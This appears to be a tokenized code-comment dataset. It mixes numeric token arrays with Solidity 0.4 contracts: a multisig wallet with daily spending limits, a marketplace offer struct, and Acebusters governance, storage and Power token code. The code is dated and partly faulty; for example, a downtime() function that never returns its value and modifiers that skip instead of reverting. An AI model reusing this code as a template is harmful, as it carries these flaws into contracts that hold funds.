0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1147,
3098,
12,
11890,
5034,
1147,
548,
13,
1071,
1476,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
1982,
18,
2316,
3098,
12,
2316,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has five types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
constructor(address[] _owners, uint _required) public {
m_numOwners = _owners.length;// + 1;
//m_owners[1] = uint(msg.sender);
//m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[1 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
PendingState storage pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
emit Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
emit OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
emit OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
emit OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
emit RequirementChanged(_newRequired);
}
function isOwner(address _addr) public view returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) public view returns (bool) {
PendingState storage pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
if (pending.ownersDone & ownerIndexBit == 0) {
return false;
} else {
return true;
}
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
PendingState storage pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
emit Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private returns (bool) {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i) {
if (m_pendingIndex[i] != 0) {
delete m_pending[m_pendingIndex[i]];
}
}
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// inheritable "property" contract that enables methods to be protected by placing a linear limit (specifiable)
// on a particular resource per calendar day. is multiowned to allow the limit to be altered. resource that method
// uses is specified in the modifier.
contract daylimit is multiowned {
// MODIFIERS
// simple modifier for daily limit.
modifier limitedDaily(uint _value) {
if (underLimit(_value))
_;
}
// METHODS
// constructor - stores initial daily limit and records the present day's index.
constructor(uint _limit) public {
m_dailyLimit = _limit;
m_lastDay = today();
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function setDailyLimit(uint _newLimit) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
m_dailyLimit = _newLimit;
}
// (re)sets the daily limit. needs many of the owners to confirm. doesn't alter the amount already spent today.
function resetSpentToday() onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// checks to see if there is at least `_value` left from the daily limit today. if there is, subtracts it and
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private view returns (uint) { return block.timestamp / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address from, uint value);
// Single transaction going out of the wallet (record who signed for it, how much, and to whom it's going).
event SingleTransact(address owner, uint value, address to);
// Multi-sig transaction going out of the wallet (record who signed for it last, the operation hash, how much, and to whom it's going).
event MultiTransact(address owner, bytes32 operation, uint value, address to);
// Confirmation still needed for a transaction.
event ConfirmationERC20Needed(bytes32 operation, address initiator, uint value, address to, ERC20Basic token);
event ConfirmationETHNeeded(bytes32 operation, address initiator, uint value, address to);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
//function execute(address _to, uint _value, bytes _data) external returns (bytes32);
//function confirm(bytes32 _h) public returns (bool);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).transact(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
uint public version = 4;
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
address token;
}
ERC20Basic public erc20;
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
constructor(address[] _owners, uint _required, uint _daylimit, address _erc20)
multiowned(_owners, _required) daylimit(_daylimit) public {
erc20 = ERC20Basic(_erc20);
}
function changeERC20(address _erc20) onlymanyowners(keccak256(abi.encodePacked(msg.data))) public {
erc20 = ERC20Basic(_erc20);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(keccak256(abi.encodePacked(msg.data))) external {
selfdestruct(_to);
}
// gets called when no other function matches
function() public payable {
// just being sent some cash?
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transacion immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function transferETH(address _to, uint _value) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
_to.transfer(_value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (!confirmETH(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
emit ConfirmationETHNeeded(_r, msg.sender, _value, _to);
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirmETH(bytes32 _h) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
m_txs[_h].to.transfer(m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
function transferERC20(address _to, uint _value) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
emit SingleTransact(msg.sender, _value, _to);
// yes - just execute the call.
erc20.transfer(_to, _value);
return 0;
}
// determine our operation hash.
_r = keccak256(abi.encodePacked(msg.data, block.number));
if (!confirmERC20(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].token = erc20;
emit ConfirmationERC20Needed(_r, msg.sender, _value, _to, erc20);
}
}
function confirmERC20(bytes32 _h) onlymanyowners(_h) public returns (bool) {
if (m_txs[_h].to != 0) {
ERC20Basic token = ERC20Basic(m_txs[_h].token);
token.transfer(m_txs[_h].to, m_txs[_h].value);
emit MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
} | make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
| reorganizeOwners(); | 897,003 | [
1,
6540,
3071,
312,
67,
2107,
5541,
353,
3959,
358,
326,
1300,
434,
25937,
471,
3712,
3143,
358,
326,
16413,
4843,
4694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
283,
22543,
554,
5460,
414,
5621,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/4/0x45821443e38E1bAF76ACB94964c23F313104b9E9/sources/contracts/Marketplace.sol | @dev Structure for offer | struct CreateOffer {
address nftAddress;
uint256 tokenId;
address owner;
address buyer;
address payToken;
uint256 startTime;
uint256 startPricePerItem;
uint256 quantity;
uint256 endTime;
uint256 endPricePerItem;
uint256 nonce;
}
| 8,677,645 | [
1,
6999,
364,
10067,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
1788,
10513,
288,
203,
3639,
1758,
290,
1222,
1887,
31,
203,
3639,
2254,
5034,
1147,
548,
31,
203,
3639,
1758,
3410,
31,
203,
3639,
1758,
27037,
31,
203,
3639,
1758,
8843,
1345,
31,
203,
3639,
2254,
5034,
8657,
31,
203,
3639,
2254,
5034,
787,
5147,
2173,
1180,
31,
203,
3639,
2254,
5034,
10457,
31,
203,
3639,
2254,
5034,
13859,
31,
203,
3639,
2254,
5034,
679,
5147,
2173,
1180,
31,
203,
3639,
2254,
5034,
7448,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
contract PullPayInterface {
function asyncSend(address _dest) public payable;
}
contract Governable {
// list of admins, council at first spot
address[] public admins;
function Governable() {
admins.length = 1;
admins[0] = msg.sender;
}
modifier onlyAdmins() {
bool isAdmin = false;
for (uint256 i = 0; i < admins.length; i++) {
if (msg.sender == admins[i]) {
isAdmin = true;
}
}
require(isAdmin == true);
_;
}
function addAdmin(address _admin) public onlyAdmins {
for (uint256 i = 0; i < admins.length; i++) {
require(_admin != admins[i]);
}
require(admins.length < 10);
admins[admins.length++] = _admin;
}
function removeAdmin(address _admin) public onlyAdmins {
uint256 pos = admins.length;
for (uint256 i = 0; i < admins.length; i++) {
if (_admin == admins[i]) {
pos = i;
}
}
require(pos < admins.length);
// if not last element, switch with last
if (pos < admins.length - 1) {
admins[pos] = admins[admins.length - 1];
}
// then cut off the tail
admins.length--;
}
}
contract StorageEnabled {
// satelite contract addresses
address public storageAddr;
function StorageEnabled(address _storageAddr) {
storageAddr = _storageAddr;
}
// ############################################
// ########### NUTZ FUNCTIONS ################
// ############################################
// all Nutz balances
function babzBalanceOf(address _owner) constant returns (uint256) {
return Storage(storageAddr).getBal('Nutz', _owner);
}
function _setBabzBalanceOf(address _owner, uint256 _newValue) internal {
Storage(storageAddr).setBal('Nutz', _owner, _newValue);
}
// active supply - sum of balances above
function activeSupply() constant returns (uint256) {
return Storage(storageAddr).getUInt('Nutz', 'activeSupply');
}
function _setActiveSupply(uint256 _newActiveSupply) internal {
Storage(storageAddr).setUInt('Nutz', 'activeSupply', _newActiveSupply);
}
// burn pool - inactive supply
function burnPool() constant returns (uint256) {
return Storage(storageAddr).getUInt('Nutz', 'burnPool');
}
function _setBurnPool(uint256 _newBurnPool) internal {
Storage(storageAddr).setUInt('Nutz', 'burnPool', _newBurnPool);
}
// power pool - inactive supply
function powerPool() constant returns (uint256) {
return Storage(storageAddr).getUInt('Nutz', 'powerPool');
}
function _setPowerPool(uint256 _newPowerPool) internal {
Storage(storageAddr).setUInt('Nutz', 'powerPool', _newPowerPool);
}
// ############################################
// ########### POWER FUNCTIONS #############
// ############################################
// all power balances
function powerBalanceOf(address _owner) constant returns (uint256) {
return Storage(storageAddr).getBal('Power', _owner);
}
function _setPowerBalanceOf(address _owner, uint256 _newValue) internal {
Storage(storageAddr).setBal('Power', _owner, _newValue);
}
function outstandingPower() constant returns (uint256) {
return Storage(storageAddr).getUInt('Power', 'outstandingPower');
}
function _setOutstandingPower(uint256 _newOutstandingPower) internal {
Storage(storageAddr).setUInt('Power', 'outstandingPower', _newOutstandingPower);
}
function authorizedPower() constant returns (uint256) {
return Storage(storageAddr).getUInt('Power', 'authorizedPower');
}
function _setAuthorizedPower(uint256 _newAuthorizedPower) internal {
Storage(storageAddr).setUInt('Power', 'authorizedPower', _newAuthorizedPower);
}
function downs(address _user) constant public returns (uint256 total, uint256 left, uint256 start) {
uint256 rawBytes = Storage(storageAddr).getBal('PowerDown', _user);
start = uint64(rawBytes);
left = uint96(rawBytes >> (64));
total = uint96(rawBytes >> (96 + 64));
return;
}
function _setDownRequest(address _holder, uint256 total, uint256 left, uint256 start) internal {
uint256 result = uint64(start) + (left << 64) + (total << (96 + 64));
Storage(storageAddr).setBal('PowerDown', _holder, result);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Governable {
bool public paused = true;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyAdmins whenNotPaused {
paused = true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyAdmins whenPaused {
//TODO: do some checks
paused = false;
}
}
/*
* ERC20Basic
* Simpler version of ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
function totalSupply() constant returns (uint256);
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) returns (bool);
}
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC223Basic {
// active supply of tokens
function activeSupply() constant returns (uint256);
function allowance(address _owner, address _spender) constant returns (uint256);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint256 _value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Power is Ownable, ERC20Basic {
event Slashing(address indexed holder, uint value, bytes32 data);
string public name = "Acebusters Power";
string public symbol = "ABP";
uint256 public decimals = 12;
function balanceOf(address _holder) constant returns (uint256) {
return ControllerInterface(owner).powerBalanceOf(_holder);
}
function totalSupply() constant returns (uint256) {
return ControllerInterface(owner).powerTotalSupply();
}
function activeSupply() constant returns (uint256) {
return ControllerInterface(owner).outstandingPower();
}
// ############################################
// ########### ADMIN FUNCTIONS ################
// ############################################
function slashPower(address _holder, uint256 _value, bytes32 _data) public onlyOwner {
Slashing(_holder, _value, _data);
}
function powerUp(address _holder, uint256 _value) public onlyOwner {
// NTZ transfered from user's balance to power pool
Transfer(address(0), _holder, _value);
}
// ############################################
// ########### PUBLIC FUNCTIONS ###############
// ############################################
// registers a powerdown request
function transfer(address _to, uint256 _amountPower) public returns (bool success) {
// make Power not transferable
require(_to == address(0));
ControllerInterface(owner).createDownRequest(msg.sender, _amountPower);
Transfer(msg.sender, address(0), _amountPower);
return true;
}
function downtime() public returns (uint256) {
ControllerInterface(owner).downtime;
}
function downTick(address _owner) public {
ControllerInterface(owner).downTick(_owner, now);
}
function downs(address _owner) constant public returns (uint256, uint256, uint256) {
return ControllerInterface(owner).downs(_owner);
}
}
contract Storage is Ownable {
struct Crate {
mapping(bytes32 => uint256) uints;
mapping(bytes32 => address) addresses;
mapping(bytes32 => bool) bools;
mapping(address => uint256) bals;
}
mapping(bytes32 => Crate) crates;
function setUInt(bytes32 _crate, bytes32 _key, uint256 _value) onlyOwner {
crates[_crate].uints[_key] = _value;
}
function getUInt(bytes32 _crate, bytes32 _key) constant returns(uint256) {
return crates[_crate].uints[_key];
}
function setAddress(bytes32 _crate, bytes32 _key, address _value) onlyOwner {
crates[_crate].addresses[_key] = _value;
}
function getAddress(bytes32 _crate, bytes32 _key) constant returns(address) {
return crates[_crate].addresses[_key];
}
